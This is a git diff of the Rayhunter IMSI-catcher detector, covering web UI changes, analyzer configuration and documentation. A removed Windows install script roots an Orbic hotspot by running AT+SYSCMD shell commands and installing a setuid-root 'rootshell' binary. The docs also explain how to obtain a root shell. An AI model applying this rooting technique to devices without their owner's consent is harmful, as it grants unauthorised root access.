<td class="p-2">{date_formatter.format(entry.last_message_time)}</td> <td class="p-2">{entry.last_message_time && date_formatter.format(entry.last_message_time) || "N/A"}</td>
<td class="p-2">{entry.qmdl_size_bytes}</td> <td class="p-2">{entry.get_readable_qmdl_size()}</td>
<td class="p-2"><DownloadLink url={entry.get_pcap_url()} text="pcap" /></td> <td class="p-2"><DownloadLink url={entry.get_pcap_url()} text="pcap" /></td>
<td class="p-2"><DownloadLink url={entry.get_qmdl_url()} text="qmdl" /></td> <td class="p-2"><DownloadLink url={entry.get_qmdl_url()} text="qmdl" /></td>
<td class="p-2"><AnalysisStatus onclick={toggle_analysis_visibility} entry={entry} /></td> <td class="p-2"><DownloadLink url={entry.get_zip_url()} text="zip" /></td>
<td class="p-2"><AnalysisStatus onclick={toggle_analysis_visibility} entry={entry} analysis_visible={analysis_visible}/></td>
{#if current} {#if current}
<td class="p-2"></td> <td class="p-2"></td>
{:else} {:else}
@@ -49,8 +50,7 @@
{/if} {/if}
</tr> </tr>
<tr class="{alternating_row_color} border-b {analysis_visible ? '' : 'hidden'}"> <tr class="{alternating_row_color} border-b {analysis_visible ? '' : 'hidden'}">
<td class="font-bold p-2 bg-blue-100"></td> <td class="border-t border-dashed p-2" colspan="9">
<td class="border-t border-dashed p-2" colspan="7">
<AnalysisView {entry} /> <AnalysisView {entry} />
</td> </td>
</tr> </tr>
@@ -17,8 +17,7 @@
client_set_recording = false; client_set_recording = false;
} }
const stop_recording_classes = "bg-red-500 hover:bg-red-700 text-white font-bold py-2 px-4 rounded-md"; const recording_button_classes = "text-white font-bold py-2 px-4 rounded-md flex flex-row gap-1";
const start_recording_classes = "bg-blue-500 hover:bg-blue-700 text-white font-bold py-2 px-4 rounded-md";
</script> </script>
<div> <div>
@@ -27,9 +26,19 @@
{server_is_recording ? "Stopping..." : "Starting..."} {server_is_recording ? "Stopping..." : "Starting..."}
</button> </button>
{:else if server_is_recording} {:else if server_is_recording}
<button class={stop_recording_classes} onclick={stop_recording}>Stop Recording</button> <button class="{recording_button_classes} bg-red-500 hover:bg-red-700" onclick={stop_recording}>
<span>Stop</span>
<svg class="w-6 h-6 text-white" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="24" height="24" fill="currentColor" viewBox="0 0 24 24">
<path d="M7 5a2 2 0 0 0-2 2v10a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2V7a2 2 0 0 0-2-2H7Z"/>
</svg>
</button>
{:else} {:else}
<button class={start_recording_classes} onclick={start_recording}>Start Recording</button> <button class="{recording_button_classes} bg-blue-500 hover:bg-blue-700" onclick={start_recording}>
<span>Start</span>
<svg class="w-6 h-6 text-white" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="24" height="24" fill="currentColor" viewBox="0 0 24 24">
<path fill-rule="evenodd" d="M8.6 5.2A1 1 0 0 0 7 6v12a1 1 0 0 0 1.6.8l8-6a1 1 0 0 0 0-1.6l-8-6Z" clip-rule="evenodd"/>
</svg>
</button>
{/if} {/if}
</div> </div>
@@ -4,31 +4,32 @@
stats: SystemStats; stats: SystemStats;
} = $props(); } = $props();
const table_cell_classes = "border p-1 lg:p-2";
</script> </script>
<div> <div class="flex-1 drop-shadow p-4 flex flex-col gap-2 border rounded-md bg-gray-100 border-gray-100">
<p class="text-xl">System Stats</p> <p class="text-xl mb-2">System Information</p>
<table class="table-auto border"> <table class="table-auto border">
<tbody> <tbody>
<tr class="border"> <tr class="border">
<th class="border"> <th class={table_cell_classes}>
Rayhunter version Rayhunter Version
</th> </th>
<td class="border">{stats.runtime_metadata.rayhunter_version}</td> <td class={table_cell_classes}>{stats.runtime_metadata.rayhunter_version}</td>
</tr> </tr>
<tr class="border"> <tr class="border">
<th class="border"> <th class={table_cell_classes}>
Storage Storage
</th> </th>
<td class="border"> <td class={table_cell_classes}>
{stats.disk_stats.used_percent} used ({stats.disk_stats.used_size} / {stats.disk_stats.available_size}) {stats.disk_stats.used_percent} used ({stats.disk_stats.used_size} used / {stats.disk_stats.available_size} available)
</td> </td>
</tr> </tr>
<tr class="border-b"> <tr class="border-b">
<th class="border"> <th class={table_cell_classes}>
Memory (RAM) Memory (RAM)
</th> </th>
<td class="border"> <td class={table_cell_classes}>
Free: {stats.memory_stats.free}, Used: {stats.memory_stats.used} Free: {stats.memory_stats.free}, Used: {stats.memory_stats.used}
</td> </td>
</tr> </tr>
+16 -3
View File
@@ -64,11 +64,20 @@ export class ManifestEntry {
this.qmdl_size_bytes = json.qmdl_size_bytes; this.qmdl_size_bytes = json.qmdl_size_bytes;
this.analysis_size_bytes = json.analysis_size_bytes; this.analysis_size_bytes = json.analysis_size_bytes;
this.start_time = new Date(json.start_time); this.start_time = new Date(json.start_time);
if (json.last_message_time !== undefined) { if (json.last_message_time) {
this.last_message_time = new Date(json.last_message_time); this.last_message_time = new Date(json.last_message_time);
} }
} }
get_readable_qmdl_size(): string {
if (this.qmdl_size_bytes === 0) return "0 Bytes";
const k = 1024;
const dm = 2 || 2;
const sizes = ["Bytes", "KB", "MB", "GB", "TB", "PB", "EB", "ZB", "YB"];
const i = Math.floor(Math.log(this.qmdl_size_bytes) / Math.log(k));
return `${Number.parseFloat((this.qmdl_size_bytes / k ** i).toFixed(dm))} ${sizes[i]}`;
}
get_num_warnings(): number | undefined { get_num_warnings(): number | undefined {
if (this.analysis_report === undefined || typeof(this.analysis_report) === 'string') { if (this.analysis_report === undefined || typeof(this.analysis_report) === 'string') {
return undefined; return undefined;
@@ -77,11 +86,15 @@ export class ManifestEntry {
} }
get_pcap_url(): string { get_pcap_url(): string {
return `/api/pcap/${this.name}`; return `/api/pcap/${this.name}.pcapng`;
} }
get_qmdl_url(): string { get_qmdl_url(): string {
return `/api/qmdl/${this.name}`; return `/api/qmdl/${this.name}.qmdl`;
}
get_zip_url(): string {
return `/api/zip/${this.name}.zip`;
} }
get_analysis_report_url(): string { get_analysis_report_url(): string {
+33
View File
@@ -1,6 +1,20 @@
import { Manifest } from "./manifest.svelte"; import { Manifest } from "./manifest.svelte";
import type { SystemStats } from "./systemStats"; import type { SystemStats } from "./systemStats";
export interface AnalyzerConfig {
imsi_requested: boolean;
connection_redirect_2g_downgrade: boolean;
lte_sib6_and_7_downgrade: boolean;
null_cipher: boolean;
}
export interface Config {
ui_level: number;
colorblind_mode: boolean;
key_input_mode: number;
analyzers: AnalyzerConfig;
}
export async function req(method: string, url: string): Promise<string> { export async function req(method: string, url: string): Promise<string> {
const response = await fetch(url, { const response = await fetch(url, {
method: method, method: method,
@@ -21,3 +35,22 @@ export async function get_manifest(): Promise<Manifest> {
export async function get_system_stats(): Promise<SystemStats> { export async function get_system_stats(): Promise<SystemStats> {
return JSON.parse(await req('GET', '/api/system-stats')); return JSON.parse(await req('GET', '/api/system-stats'));
} }
export async function get_config(): Promise<Config> {
return JSON.parse(await req('GET', '/api/config'));
}
export async function set_config(config: Config): Promise<void> {
const response = await fetch('/api/config', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify(config)
});
if (!response.ok) {
const error = await response.text();
throw new Error(error);
}
}
+51 -7
View File
@@ -2,10 +2,13 @@
import { ManifestEntry } from "$lib/manifest.svelte"; import { ManifestEntry } from "$lib/manifest.svelte";
import { get_manifest, get_system_stats } from "$lib/utils.svelte"; import { get_manifest, get_system_stats } from "$lib/utils.svelte";
import ManifestTable from "$lib/components/ManifestTable.svelte"; import ManifestTable from "$lib/components/ManifestTable.svelte";
import Card from "$lib/components/ManifestCard.svelte";
import type { SystemStats } from "$lib/systemStats"; import type { SystemStats } from "$lib/systemStats";
import { AnalysisManager } from "$lib/analysisManager.svelte"; import { AnalysisManager } from "$lib/analysisManager.svelte";
import SystemStatsTable from "$lib/components/SystemStatsTable.svelte"; import SystemStatsTable from "$lib/components/SystemStatsTable.svelte";
import ControlBar from "$lib/components/ControlBar.svelte"; import DeleteAllButton from "$lib/components/DeleteAllButton.svelte";
import RecordingControls from "$lib/components//RecordingControls.svelte";
import ConfigForm from "$lib/components/ConfigForm.svelte";
let manager: AnalysisManager = new AnalysisManager(); let manager: AnalysisManager = new AnalysisManager();
let loaded = $state(false); let loaded = $state(false);
@@ -30,13 +33,54 @@
}) })
</script> </script>
<h1 class="ml-8 mt-8 text-4xl font-extrabold">Rayhunter Dashboard</h1> <div class="p-4 xl:px-8 bg-rayhunter-blue drop-shadow flex flex-row justify-between items-center">
<div class="p-8 flex flex-col gap-2"> <img src="/rayhunter_text.png" class="h-10 xl:h-12"/>
<div class="flex flex-row gap-4">
<a class="flex flex-row gap-1 group" href="https://github.com/EFForg/rayhunter/issues" target="_blank">
<span class="hidden text-white group-hover:text-gray-400 lg:flex">Report Issue</span>
<svg class="w-6 h-6 text-white group-hover:text-gray-400" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="24" height="24" fill="currentColor" viewBox="0 0 24 24">
<path fill-rule="evenodd" d="M12.006 2a9.847 9.847 0 0 0-6.484 2.44 10.32 10.32 0 0 0-3.393 6.17 10.48 10.48 0 0 0 1.317 6.955 10.045 10.045 0 0 0 5.4 4.418c.504.095.683-.223.683-.494 0-.245-.01-1.052-.014-1.908-2.78.62-3.366-1.21-3.366-1.21a2.711 2.711 0 0 0-1.11-1.5c-.907-.637.07-.621.07-.621.317.044.62.163.885.346.266.183.487.426.647.71.135.253.318.476.538.655a2.079 2.079 0 0 0 2.37.196c.045-.52.27-1.006.635-1.37-2.219-.259-4.554-1.138-4.554-5.07a4.022 4.022 0 0 1 1.031-2.75 3.77 3.77 0 0 1 .096-2.713s.839-.275 2.749 1.05a9.26 9.26 0 0 1 5.004 0c1.906-1.325 2.74-1.05 2.74-1.05.37.858.406 1.828.101 2.713a4.017 4.017 0 0 1 1.029 2.75c0 3.939-2.339 4.805-4.564 5.058a2.471 2.471 0 0 1 .679 1.897c0 1.372-.012 2.477-.012 2.814 0 .272.18.592.687.492a10.05 10.05 0 0 0 5.388-4.421 10.473 10.473 0 0 0 1.313-6.948 10.32 10.32 0 0 0-3.39-6.165A9.847 9.847 0 0 0 12.007 2Z" clip-rule="evenodd"/>
</svg>
</a>
<a class="flex flex-row gap-1 group" href="https://efforg.github.io/rayhunter/" target="_blank">
<span class="hidden text-white group-hover:text-gray-400 lg:flex">Docs</span>
<svg class="w-6 h-6 text-white group-hover:text-gray-400" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="24" height="24" fill="none" viewBox="0 0 24 24">
<path stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 19V4a1 1 0 0 1 1-1h12a1 1 0 0 1 1 1v13H7a2 2 0 0 0-2 2Zm0 0a2 2 0 0 0 2 2h12M9 3v14m7 0v4"/>
</svg>
</a>
</div>
</div>
<div class="m-4 xl:mx-8 flex flex-col gap-4">
{#if loaded} {#if loaded}
<ControlBar server_is_recording={recording} /> <div class="flex flex-col lg:flex-row gap-4">
<SystemStatsTable stats={system_stats!} /> {#if recording}
<ManifestTable entries={entries} current_entry={current_entry} /> <Card entry={current_entry} current={true} i={0} server_is_recording={recording}/>
{:else}
<div class="bg-red-100 border-red-100 drop-shadow p-4 flex flex-col gap-2 border rounded-md flex-1 justify-between">
<span class="text-2xl font-bold mb-2 flex flex-row items-center gap-2 text-red-600">
<svg class="w-8 h-8 text-red-600" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="24" height="24" fill="currentColor" viewBox="0 0 24 24">
<path fill-rule="evenodd" d="M2 12C2 6.477 6.477 2 12 2s10 4.477 10 10-4.477 10-10 10S2 17.523 2 12Zm11-4a1 1 0 1 0-2 0v5a1 1 0 1 0 2 0V8Zm-1 7a1 1 0 1 0 0 2h.01a1 1 0 1 0 0-2H12Z" clip-rule="evenodd"/>
</svg>
WARNING: Not Running
</span>
<span>Rayhunter is not currently running and will not detect abnormal behavior!</span>
<div class="flex flex-row justify-end mt-2">
<RecordingControls {recording} />
</div>
</div>
{/if}
<SystemStatsTable stats={system_stats!} />
</div>
<div class="flex flex-col gap-2">
<span class="text-xl">History</span>
<ManifestTable entries={entries} server_is_recording={recording} />
</div>
<DeleteAllButton/>
<ConfigForm />
{:else} {:else}
<p>Loading...</p> <div class="flex flex-col justify-center items-center">
<img src="/rayhunter_orca_only.png" class="h-48 animate-spin"/>
<p class="text-xl">Loading...</p>
</div>
{/if} {/if}
</div> </div>
Binary file not shown.

After

Width:  |  Height:  |  Size: 218 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 32 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 27 KiB

+6 -1
View File
@@ -10,6 +10,11 @@ export default {
fallback: undefined, fallback: undefined,
precompress: false, precompress: false,
strict: true strict: true
}) }),
version: {
// Use a deterministic version string for reproducible builds.
// Without this option, SvelteKit will use a timestamp.
name: process.env.GITHUB_SHA || 'dev'
}
} }
}; };
+3
View File
@@ -3,3 +3,6 @@ authors = ["The Rayhunter Team"]
language = "en" language = "en"
src = "doc" src = "doc"
title = "Rayhunter - An IMSI Catcher Catcher" title = "Rayhunter - An IMSI Catcher Catcher"
[output.html]
edit-url-template = "https://github.com/efforg/rayhunter/edit/main/{path}"
+14 -1
View File
@@ -14,5 +14,18 @@ colorblind_mode = false
# #
# TP-Link with one-bit display: # TP-Link with one-bit display:
# 0 = invisible mode # 0 = invisible mode
# 1..3 = show emoji for status. :) for running, :( for warnings, no mouth for paused. # 1..3 = show emoji for status. :) for running, ! for warnings, no mouth for paused.
ui_level = 1 ui_level = 1
# 0 = rayhunter does not read button presses
# 1 = double-tapping the power button starts/stops recordings
key_input_mode = 0
# Analyzer Configuration
# Enable/disable specific IMSI catcher detection heuristics
# See https://github.com/EFForg/rayhunter/blob/main/doc/heuristics.md for details
[analyzers]
imsi_requested = true
connection_redirect_2g_downgrade = true
lte_sib6_and_7_downgrade = true
null_cipher = true
Binary file not shown.

After

Width:  |  Height:  |  Size: 152 KiB

+2
View File
@@ -6,12 +6,14 @@
- [Installing from the latest release (Windows)](./installing-from-release-windows.md) - [Installing from the latest release (Windows)](./installing-from-release-windows.md)
- [Installing from source](./installing-from-source.md) - [Installing from source](./installing-from-source.md)
- [Updating Rayhunter](./updating-rayhunter.md) - [Updating Rayhunter](./updating-rayhunter.md)
- [Configuration](./configuration.md)
- [Uninstalling](./uninstalling.md) - [Uninstalling](./uninstalling.md)
- [Using Rayhunter](./using-rayhunter.md) - [Using Rayhunter](./using-rayhunter.md)
- [Rayhunter's heuristics](./heuristics.md) - [Rayhunter's heuristics](./heuristics.md)
- [How we analyze a capture](./analyzing-a-capture.md) - [How we analyze a capture](./analyzing-a-capture.md)
- [Supported devices](./supported-devices.md) - [Supported devices](./supported-devices.md)
- [TP-Link M7350](./tplink-m7350.md) - [TP-Link M7350](./tplink-m7350.md)
- [TP-Link M7310](./tplink-m7310.md)
- [Orbic RC400L](./orbic.md) - [Orbic RC400L](./orbic.md)
- [Support, feedback, and community](./support-feedback-community.md) - [Support, feedback, and community](./support-feedback-community.md)
- [Frequently Asked Questions](./faq.md) - [Frequently Asked Questions](./faq.md)
+5
View File
@@ -0,0 +1,5 @@
# Configuration
Rayhunter can be configured by editing `/data/rayhunter/config.toml` on the device. You can obtain a shell on [orbic](./orbic.md#obtaining-a-shell) and [tplink](./tplink-m7350.md#obtaining-a-shell) and edit the file manually. In future versions the web UI will allow you to edit the config as well.
View the [default configuration file on GitHub](https://github.com/EFForg/rayhunter/blob/main/dist/config.toml.example).
+19
View File
@@ -18,3 +18,22 @@ Please note that this file may contain sensitive information such as your IMSI a
### Should I get a locked or unlocked orbic device? What is the difference? ### Should I get a locked or unlocked orbic device? What is the difference?
If you want to use a non-Verizon SIM card you will probably need an unlocked device. But it's not clear how locked the locked devices are nor how to unlock them, we welcome any experimentation and information regarding the use of unlocked devices. If you want to use a non-Verizon SIM card you will probably need an unlocked device. But it's not clear how locked the locked devices are nor how to unlock them, we welcome any experimentation and information regarding the use of unlocked devices.
### How do I re-enable USB tethering after installing Rayhunter?
Make sure USB tethering is also enabled in the Orbic's UI, and then run the following commands:
```sh
installer util shell "echo 9 > /usrdata/mode.cfg"
installer util shell reboot
```
To disable tethering again:
```sh
installer util shell "echo 3 > /usrdata/mode.cfg"
installer util shell reboot
```
See `/data/usb/boot_hsusb_composition` for a list of USB modes and Android USB gadget settings.
+20 -1
View File
@@ -1,3 +1,22 @@
# Heuristics # Heuristics
TODO Rayhunter includes several analyzers to detect potential IMSI catcher activity. These can be enabled and disabled in your [config.toml](./configuration.md) file.
## Available Analyzers
- **IMSI Requested**: Tests whether the eNodeB sends an IMSI Identity Request NAS message. This
can sometimes happen under normal circumstances when the network doesn't already have a TMSI
(Temporary Mobile Subscriber ID or GUTI in 5G terminology) for your device. This most often
happens when you first turn the device on, especially after it has been off for a long time or
if you are in an area where ther is absolutely no connection to your service provider. This can
also happen if you leave your device on while on an airplane and it suddenly connects to a new
tower after being disconnected for a long time.
However, if you get this warning at a time when you have been steadily connected to towers and the device has been on for a while it can be treated as suspcious.
- **Connection Release/Redirected Carrier 2G Downgrade**: Tests if a cell
releases our connection and redirects us to a 2G cell. This heuristic only
makes sense in the US or other countries where there are no more operating 2G base stations.
Users in contries where 2G is still in service (such as most of EU) may want to disable it.
See https://en.wikipedia.org/wiki/2G#Past_2G_networks for information about your country.
- **LTE SIB6/7 Downgrade**: Tests for LTE cells broadcasting a SIB type 6 and 7
which include 2G/3G frequencies with higher priorities
- **Null Cipher**: Tests whether the cell suggests using a null cipher (EEA0).
+22 -129
View File
@@ -1,139 +1,32 @@
# Installing from the latest release (Windows) # Installing from the latest release (Windows)
1. Install the [Zadig WinUSB driver](https://zadig.akeo.ie/). Windows support in Rayhunter's installer is a work-in-progress. Depending on the device, the installation instructions differ.
2. Download the latest `release.zip` from the [Rayhunter releases page](https://github.com/EFForg/rayhunter/releases).
3. Unzip `release.zip`.
4. Save the `install.ps1` file below in the same directory as `install.sh`.
5. Run the install script by double clicking on `install.ps1`. A powershell window will launch.
The device will restart multiple times over the next few minutes.
You will know it is done when you see terminal output that says `checking for rayhunter server...success!`
6. Rayhunter should now be running! You can verify this by following the instructions below to [view the web UI](#usage-viewing-the-web-ui). You should also see a green line flash along the top of top the display on the device.
# `install.ps1` ## TP-Link
```powershell
$global:adb = "./platform-tools-latest-windows/platform-tools/adb.exe" 1. Connect the device via WiFi or USB Tethering -- you should be able to view the TP-Link admin page on [http://192.168.0.1](http://192.168.0.1).
$global:serial = "./serial-windows-x86_64/serial.exe" 2. Download the latest release (must be at least 0.3.0), and unpack the zipfile.
3. Open PowerShell or CMD in that extracted folder, and run the binary appropriate for your operating system: `./installer-windows-x86_64/installer tplink`
4. Follow the instructions on the screen, if there are any.
function _adb_push { ## Orbic
$proc = start-process -passthru -wait $global:adb -argumentlist "push", $args[0], $args[1]
if ($proc.exitcode -ne 0) {
write-host "push exited with exit code $($proc.exitcode)"
}
return $proc.exitcode
}
function _adb_shell { 1. Connect the device to your computer using the provided USB cable.
$proc = start-process -passthru -wait $global:adb -argumentlist "shell", $args[0] 1. Install the [Zadig WinUSB driver installer](https://zadig.akeo.ie/).
if ($proc.exitcode -ne 0) { 1. Open Zadig, click options->show all devices
write-host "shell exited with exit code $($proc.exitcode)"
}
return $proc.exitcode
}
function _wait_for_adb_shell { ![Zadig](./zadig2.png)
do {
start-sleep -seconds 1
} until ((_adb_shell "cat /etc/ver.conf") -eq 0)
}
function _wait_for_atfwd_daemon { 1. Select 'RNDIS (Interface 0)'
do {
start-sleep -seconds 1
} until ((_adb_shell "pgrep atfwd_daemon") -eq 0)
}
function force_debug_mode { ![Zadig](./zadig.png)
write-host "Using adb at $($global:adb)"
write-host "Forcing a switch into debug mode to enable ADB"
&$global:serial "--root" | Out-Host
write-host "adb enabled, waiting for reboot..." -nonewline
_wait_for_adb_shell
write-host " it's alive!"
write-host "waiting for atfwd_daemon to start ..." -nonewline
_wait_for_atfwd_daemon
write-host " done!"
}
function setup_rootshell { 1. Click 'install driver' and wait for it to finish.
_adb_push "rootshell" "/tmp" 2. Download the latest `rayhunter-vX.X.X.zip` from the [Rayhunter releases page](https://github.com/EFForg/rayhunter/releases). The version you download will have numbers instead of X
write-host "cp..." 3. Unzip `rayhunter-vX.X.X` .
&$global:serial "AT+SYSCMD=cp /tmp/rootshell /bin/rootshell" | Out-Host 1. Open a powershell terminal by pressing Win+R and typing `powershell` and hitting enter.
start-sleep -seconds 1 5. Type `cd ~\Downloads\rayhunter-v<x.x.x>\installer-windows-x86_64` (**Replace <x.x.x> with the rayhunter version you just unzipped**) and hit enter.
write-host "chown..." 5. Run the install script: `.\installer.exe orbic` and hit enter.
&$global:serial "AT+SYSCMD=chown root /bin/rootshell" | Out-Host - The device will restart multiple times over the next few minutes.
start-sleep -seconds 1 - You will know it is done when you see terminal output that says `checking for rayhunter server...success!`
write-host "chmod..." 6. Rayhunter should now be running! You can verify this by following the instructions below to [view the web UI](./using-rayhunter.md#the-web-ui). You should also see a green line flash along the top of top the display on the device.
&$global:serial "AT+SYSCMD=chmod 4755 /bin/rootshell" | Out-Host
start-sleep -seconds 1
_adb_shell '/bin/rootshell -c id'
write-host "we have root!"
}
function setup_rayhunter {
&$global:serial "AT+SYSCMD=mkdir -p /data/rayhunter" | Out-Host
_adb_push "config.toml.example" "/tmp/config.toml"
&$global:serial "AT+SYSCMD=mv /tmp/config.toml /data/rayhunter" | Out-Host
_adb_push "rayhunter-daemon-orbic/rayhunter-daemon" "/tmp/rayhunter-daemon"
&$global:serial "AT+SYSCMD=mv /tmp/rayhunter-daemon /data/rayhunter" | Out-Host
_adb_push "scripts/rayhunter_daemon" "/tmp/rayhunter_daemon"
&$global:serial "AT+SYSCMD=mv /tmp/rayhunter_daemon /etc/init.d/rayhunter_daemon" | Out-Host
_adb_push "scripts/misc-daemon" "/tmp/misc-daemon"
&$global:serial "AT+SYSCMD=mv /tmp/misc-daemon /etc/init.d/misc-daemon" | Out-Host
&$global:serial "AT+SYSCMD=chmod 755 /data/rayhunter/rayhunter-daemon" | Out-Host
&$global:serial "AT+SYSCMD=chmod 755 /etc/init.d/rayhunter_daemon" | Out-Host
&$global:serial "AT+SYSCMD=chmod 755 /etc/init.d/misc-daemon" | Out-Host
write-host "waiting for reboot..."
&$global:serial "AT+SYSCMD=shutdown -r -t 1 now" | Out-Host
do {
start-sleep -seconds 1
} until ((_adb_shell "true 2> /dev/null") -ne 0)
_wait_for_adb_shell
write-host "done!"
}
function test_rayhunter {
$URL = "http://localhost:8080"
$fproc = start-process $global:adb -argumentlist "forward", "tcp:8080", "tcp:8080" -wait -passthru
if ($fproc.exitcode -ne 0) {
write-host "adb forward tcp:8080 tcp:8080 failed with exit code $($proc.exitcode)"
return
}
write-host "checking for rayhunter server..." -nonewline
$seconds = 0
do {
$resp = invoke-webrequest -uri $URL
if ($resp.statuscode -eq 200) {
write-host "success!"
write-host "you can access rayhunter at $($URL)"
return
}
start-sleep 1
$seconds = $seconds + 1
} until ($seconds -eq 30)
write-host "timeout reached! failed to reach rayhunter url $($URL), something went wrong :("
}
function get_android_tools {
write-host "adb not found, downloading local copy"
invoke-webrequest "https://dl.google.com/android/repository/platform-tools-latest-windows.zip" -outfile ./platform-tools-latest-windows.zip
expand-archive -force -path "platform-tools-latest-windows.zip"
}
if (-not (test-path -path $global:serial)) {
write-error "can't find serial, aborting"
return
}
if (-not (test-path -path $global:adb)) {
get_android_tools
}
force_debug_mode
setup_rootshell
setup_rayhunter
test_rayhunter
```
+26 -12
View File
@@ -2,33 +2,47 @@
Make sure you've got one of Rayhunter's [supported devices](./supported-devices.md). These instructions have only been tested on macOS and Ubuntu 24.04. If they fail, you will need to [install Rayhunter from source](./installing-from-source.md). Make sure you've got one of Rayhunter's [supported devices](./supported-devices.md). These instructions have only been tested on macOS and Ubuntu 24.04. If they fail, you will need to [install Rayhunter from source](./installing-from-source.md).
1. Download the latest `release.tar` from the [Rayhunter releases page](https://github.com/EFForg/rayhunter/releases) 1. Download the latest `rayhunter-vX.X.X.zip` from the [Rayhunter releases page](https://github.com/EFForg/rayhunter/releases)
2. Decompress the `release.tar` archive. Open the terminal and navigate to the folder 2. Decompress the `rayhunter-vX.X.X.zip` archive. Open the terminal and navigate to the folder. (Be sure to replace X.X.X with the correct version number!)
```bash ```bash
mkdir ~/Downloads/release unzip ~/Downloads/rayhunter-vX.X.X.zip
tar -xvf ~/Downloads/release.tar -C ~/Downloads/release cd ~/Downloads/rayhunter-vX.X.X
cd ~/Downloads/release
``` ```
3. Turn on your device by holding the power button on the front. 3. Turn on your device by holding the power button on the front.
* For the Orbic, connect the device using a USB-C cable. * For the Orbic, connect the device using a USB-C cable.
* For TP-Link, connect to its network using either WiFi or USB Tethering. * For TP-Link, connect to its network using either WiFi or USB Tethering.
4. Run the install script for your operating system: 4. Run the install script for your operating system:
First, enter the correct subfolder for your operating system:
- for Ubuntu on x64 arhitecture: `cd installer-ubuntu-24`
- for Ubuntu on ARM64 arhitecture: `cd installer-ubuntu-24-aarch64`
- for MacOS on Intel (old macbooks) architecture: `cd installer-macos-intel`
- for MacOS on ARM (M1/M2 etc.) achitecture: `cd installer-macos-arm`
- for Windows: `cd installer-windows-x86_64`
```bash ```bash
./install orbic # On MacOS, you must first remove the quarantine bit
# or: ./install tplink xattr -d com.apple.quarantine installer
```
Then run the installer:
```bash
./installer orbic
# or: ./installer tplink
``` ```
The device will restart multiple times over the next few minutes. The device will restart multiple times over the next few minutes.
You will know it is done when you see terminal output that says `Testing rayhunter... done` You will know it is done when you see terminal output that says `Testing Rayhunter... done`
5. Rayhunter should now be running! You can verify this by [viewing Rayhunter's web UI](./using-rayhunter). You should also see a green line flash along the top of top the display on the device. 5. Rayhunter should now be running! You can verify this by [viewing Rayhunter's web UI](./using-rayhunter.md). You should also see a green line flash along the top of top the display on the device.
## Troubleshooting ## Troubleshooting
* On macOS if you encounter an error that says "No Orbic device found," it may because you the "Allow accessories to connect" security setting set to "Ask for approval." You may need to temporarily change it to "Always" for the script to run. Make sure to change it back to a more secure setting when you're done. * On MacOS if you encounter an error that says "No Orbic device found," it may because you have the "Allow accessories to connect" security setting set to "Ask for approval." You may need to temporarily change it to "Always" for the script to run. Make sure to change it back to a more secure setting when you're done.
./installer --help
./installer util --help
+2 -2
View File
@@ -35,9 +35,9 @@ rustup target add x86_64-pc-windows-gnu
Now you can root your device and install Rayhunter by running: Now you can root your device and install Rayhunter by running:
```sh ```sh
cargo build --bin rayhunter-daemon --target armv7-unknown-linux-musleabihf --release --no-default-features --features orbic cargo build --bin rayhunter-daemon --target armv7-unknown-linux-musleabihf --profile firmware --no-default-features --features orbic
cargo build --bin rootshell --target armv7-unknown-linux-musleabihf --release cargo build --bin rootshell --target armv7-unknown-linux-musleabihf --profile firmware
cargo run --bin installer orbic cargo run --bin installer orbic
``` ```
+2 -2
View File
@@ -1,7 +1,7 @@
![Rayhunter Logo - An Orca taking a bite out of a cellular signal bar](https://www.eff.org/files/styles/media_browser_preview/public/banner_library/rayhunter-banner.png)
# Rayhunter # Rayhunter
<img style="display: block; margin: 0 auto" alt="Rayhunter Logo - An Orca taking a bite out of a cellular signal bar" src="https://www.eff.org/files/styles/media_browser_preview/public/banner_library/rayhunter-banner.png" />
Rayhunter is a project for detecting IMSI catchers, also known as cell-site simulators or stingrays. It's designed to run on a cheap mobile hotspot called the Orbic RC400L, but thanks to community efforts can [support some other devices as well](./supported-devices.md). Rayhunter is a project for detecting IMSI catchers, also known as cell-site simulators or stingrays. It's designed to run on a cheap mobile hotspot called the Orbic RC400L, but thanks to community efforts can [support some other devices as well](./supported-devices.md).
It's also designed to be as easy to install and use as possible, regardless of you level of technical skills. This guide should provide you all you need to acquire a compatible device, install Rayhunter, and start catching IMSI catchers. It's also designed to be as easy to install and use as possible, regardless of you level of technical skills. This guide should provide you all you need to acquire a compatible device, install Rayhunter, and start catching IMSI catchers.
+6
View File
@@ -18,3 +18,9 @@ or on [eBay](https://www.ebay.com/sch/i.html?_nkw=orbic+rc400l).
| Wifi 2.4Ghz | b/g/n | | Wifi 2.4Ghz | b/g/n |
| Wifi 5Ghz | a/ac/ax | | Wifi 5Ghz | a/ac/ax |
| Wifi 6 | 🮱 | | Wifi 6 | 🮱 |
## Obtaining a shell
After running through the installation procedure, you can obtain a root shell
by running `adb shell` or `./installer util shell`. Then, inside of that shell
you can run `/bin/rootshell` to obtain "fakeroot."
+1
View File
@@ -6,3 +6,4 @@ If you have a device in mind which you'd like Rayhunter to support, please [open
- [Orbic RC400L](./orbic.md) - [Orbic RC400L](./orbic.md)
- [TP-Link M7350](./tplink-m7350.md) - [TP-Link M7350](./tplink-m7350.md)
- [TP-Link M7310](./tplink-m7310.md)
+6
View File
@@ -0,0 +1,6 @@
# TP-Link M7310
The TP-Link M7310 is **supported by Rayhunter since 0.3.5**. The device
works similarly to the [M7350](./tplink-m7350.md) and is essentially an older,
more expensive version of it. Hardware version v1.0 has been successfully
tested, later versions may work as well.
+35 -23
View File
@@ -1,18 +1,36 @@
# TP-Link M7350 # TP-Link M7350
The TP-Link M7350 is supported by Rayhunter as of 0.2.9. It supports many more frequency bands than Orbic and therefore works in Europe. The TP-Link M7350 is **supported by Rayhunter since 0.3.0**. TP-Link M7350 supports many more frequency bands than Orbic and therefore works in Europe and also in some Asian and African countries.
You can get it from: ## Hardware versions
* First check for used offers on Ebay or equivalent, sometimes it's much cheaper there. The TP-Link comes in many different *hardware versions*. Support for installation varies:
* `1.0`, `2.0`: **Not supported**, devs are not able to obtain a device
* `3.0`, `3.2`, `5.0`, `5.2`, `7.0`, `8.0`: **Tested, no known issues since 0.3.0.**
* `6.2`: **One user reported it is working, not tested**
